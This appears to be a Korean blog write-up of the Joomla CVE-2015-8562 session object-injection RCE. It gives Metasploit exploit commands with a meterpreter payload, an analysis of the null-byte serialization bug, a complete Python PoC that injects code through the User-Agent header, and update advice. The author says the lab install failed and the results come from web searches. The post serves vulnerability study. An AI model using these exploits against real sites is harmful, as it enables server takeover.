1. Joomla

- PHP로 작성된 오픈 소스 저작물 관리 시스템
- MySQL 데이터베이스를 이용해 웹상에서 다양한 컨텐츠를 관리, 보관, 출판할 수 있는 기능을 가짐

 

 2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2015-8562

- 세션 데이터에 조작된 User-Agent 문자열을 삽입하여 잘못된 세션 헨들러 로직을 통해 데이터베이스(utf8_general_ci)에 저장되는 취약점

- session_decode() 함수 버그(CVE-2015-6835)와 unserialize() 함수 버그(CVE-2015-0273)이 관련됨

영향받는 버전
- 3.4.6 이전의 Joomla 1.5.x, 2.x 및 3.x
- PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29, PHP 5.4 < 5.4.45

 

2.1 실습

- Joomla를 설치 하였으나, [사진 1] 에러가 발생

※ 구글링 조회 결과를 바탕으로 실습 보고서 작성

[사진 1] 취약한 서버 구동

 

- 공격 대상이 취약점에 영향을 받는 Joomla 및 PHP 버전에 해당하는지 확인

- Metasploit 스캐너를 통해 줌라 버전 조회 (취약한 Joomla 버전 : 3.4.6 이전의 Joomla 1.5.x, 2.x 및 3.x)

msf6 > use auxiliary/scanner/http/joomla_version 
msf6 auxiliary(scanner/http/joomla_version) > set rhosts 192.168.56.112
msf6 auxiliary(scanner/http/joomla_version) > set targeturi /joomla/
msf6 auxiliary(scanner/http/joomla_version) > run

[사진 2] Scan 수행(위) 및 취약한 경우 결과(아래)

 

- PHP 버전 확인 (취약한 PHP 버전 : PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29, PHP 5.4 < 5.4.45)

[사진 3] PHP 버전 조회

 

- CVE-2015-8562 모듈을 다운로드하여 실습 진행

- Exploit 결과 공격자와 session이 설정되었으며, sysinfo, getuid 등의 명령을 통해 서버의 정보를 조회할 수 있음

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/joomla_http_header_rce.rb
cp joomla_http_header_rce.rb /usr/share/metasploit-framework/modules/exploits/multi/http
msfconsole   
msf6 > use exploit/multi/http/joomla_http_header_rce 
msf6 exploit(multi/http/joomla_http_header_rce) > set payload php/meterpreter/bind_tcp
msf6 exploit(multi/http/joomla_http_header_rce) > set rhosts 192.168.56.112
msf6 exploit(multi/http/joomla_http_header_rce) > set rport 8080
msf6 exploit(multi/http/joomla_http_header_rce) > set targeturi /joomla/
msf6 exploit(multi/http/joomla_http_header_rce) > set lhosts 192.168.56.102
msf6 exploit(multi/http/joomla_http_header_rce) > exploit

[사진 4] exploit 수행

 

- 위 패킷을 와이어샤크로 확인해보면 다음과 같음

[사진 5] 패킷 덤프

 

- 익스플로잇 후 데이터베이스에서 "joomla_sessions" 테이블을 확인해보면 조작된 세션 데이터가 저장됨

※ joomla_sessions : 세션 데이터를 보유하고 있는 테이블

[사진 6] 익스플로잇 전(좌) 후(우) 테이블 비교

2.2 분석

- Joomla는 수신하는 모든 User-Agent 헤더를 웹사이트 데이터베이스에 저장

- 이 경우, User-Agnet나 HTTP_X_FORWARDED_FOR 헤더를 통해 서버에 사용자 PC 정보를 알려줌

- 보통 통계 자료로 활용하기 위해 수집하며, Joomla에서는 해당 데이터를 세션에 저장

 

- [사진 7]을 확인해 보면, User-Agent 헤더를 통해 문자열을 입력 받을 수 있음

[사진 7] Joomla Package\libraries\joomla\session\session.php

 

- 데이터베이스에 저장하는 과정 중 직렬화를 수행

source > array("a" => 5, "b" => 6)
serialize() 함수 > a:2:{s:1:"a";i:5;s:1:"b";i:6;}
session_encode() 함수 > a|i:5;b|i:6;

 

- database.php에서 취약점이 트리거됨

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

[사진 8] Joomla Package\libraries\joomla\session\storage\database.php

 

- 보호된 변수(protected)는 직렬화 시 "\0*\0" 로 시작

class CustomClass
{
protected $data = 5;
}
echo serialize(new CustomClass);

결과 > O:11:"CustomClass":1:{s:7:"\0*\0data";i:5;}

 

- Joomla 어플리케이션의 사용자 세션 핸들러는 zero scaped 버전으로 변환해서 지원

- 이것은 HTTP 헤더를 통해 Null 바이트가 통과할 수 있게끔 허용

- 통과된 Null 바이트가 포함되어 있는 악의적인 코드는 Joomla 어플리케이션의 사용자 세션 핸들러가 보호된 변수를 직렬화할 수 있도록 가능하게 되어 악의적인 코드가 실행

 

2.3 PoC

- User-Agent 헤더에 공격용 코드를 삽입

- generate_payload 함수를 통해서 원격 명령을 삽입

- 공격 후 get_url('접근 URL', 'payload' 입력)로 결과 확인

'''
   Simple PoC for Joomla Object Injection.
   Gary @ Sec-1 ltd
   http://www.sec-1.com/
'''
 
import requests #  easy_install requests
 
def get_url(url, user_agent):
 
    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response
   
def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
 
    return encoded[:-1]
 
 
def generate_payload(php_payload):
 
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
 
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
 
    return exploit_template
 
 
 
pl = generate_payload("system('touch /tmp/fx');")
 
print get_url("http://172.31.6.242/", pl)

 

3. 대응방안

① Joomla 업데이트 적용

- 3.4.6 버전 이상으로 업데이트

 

4. 참고

https://lopicit.tistory.com/363

https://github.com/vulhub/vulhub/blob/master/joomla/CVE-2015-8562/README.md

- https://blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=koromoon&logNo=220575405820

https://resources.infosecinstitute.com/topic/exploiting-cve-2015-8562-new-joomla-rce-2/

https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html

https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/joomla-0-day-exploited-in-the-wild-cve-2015-8562/

https://blog.sucuri.net/2014/11/deep-dive-into-the-hikashop-vulnerability.html

+ Recent posts